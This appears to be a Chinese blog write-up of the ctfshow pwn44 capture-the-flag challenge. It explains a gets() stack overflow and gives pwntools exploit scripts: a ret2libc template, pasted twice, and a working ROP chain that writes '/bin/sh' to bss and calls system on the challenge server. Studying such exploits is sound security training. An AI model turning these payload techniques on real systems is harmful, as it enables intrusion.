每日一Pwn 2024/12/2

pwn44

64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查保护,只开启了代码执行保护

image-20241202233444282

ctfshow 函数中发现栈溢出

__int64 ctfshow()
{
  char v1[10]; // [rsp+6h] [rbp-Ah] BYREF

  return gets(v1);
}

hint 函数中发现 system

int hint()
{
  return system("no shell for you");
}

未能发现现成的 /bin/sh ,这里我首先想到的是利用 puts 来进行 ret2libc


64ret2libc

ret2libc的目的是劫持binary执行system('/bin/sh')。一般要借助溢出点进行两次劫持。

第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')

第一次劫持需要构造两个条件:

  • 控制binary,为第二次劫持布局。
  • 寻找output函数和待泄露函数。

函数的真正地址计算公式如下:

==函数的真正地址 = Libc的基地址 + 偏移地址==


from pwn import *
from LibcSearcher import *

io = remote('',)
from pwn import *
from LibcSearcher import *

io = remote('',)
# io=process("")
elf = ELF('')
# libc= ELF('libc.so.6')

ret_add = 
pop_rdi = 
main_add = 
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'', payload2)

io.interactive()
elf = ELF('')
# libc= ELF('libc.so.6')

ret_add = 
pop_rdi = 
main_add = 
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'', payload2)

io.interactive()

查找相关寄存器地址,但是当我构造好exp后,发现了一个致命的问题,不知道为什么无法泄露出put函数的地址。这里便回去看了下pwn43,发现是在可写的bss段写入 /bin/sh

先在gdb中用vmmap查看内存段的权限信息,发现在0x602000到0x603000区段有可写权限

image-20241203004047193

在这个地址范围内找到了一个 buf2 参数,确定了写入位置

image-20241203004147280

大致思路是通过gets函数将 /bin/sh 写入 buf2 ,再调用system

from pwn import*

context(log_level = 'debug', arch = 'i386', os = 'linux')

# io=process("pwn")
io= remote("pwn.challenge.ctf.show",28177)

pop_rdi_ret = 0x00000000004007f3
buf2_add = 0x0000000000602080
gets_add = 0x0000000000400530
ret_add = 0x00000000004004fe
system_add = 0x0000000000400520

offset=0xA

payload = b'a'*(offset+8) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(gets_add) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(system_add)
io.recv()
io.sendline(payload)
io.sendline('/bin/sh')

io.interactive()

# ctfshow{aa2873eb-a787-4c6d-9b54-fd2837543fd2}

评论

  1. 博主
    1 天前
    2024-12-03 20:51:45

    好好好 原来是可以打ret2libc的 晚上研究一下哪儿写错了(ó﹏ò。)

    来自重庆

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇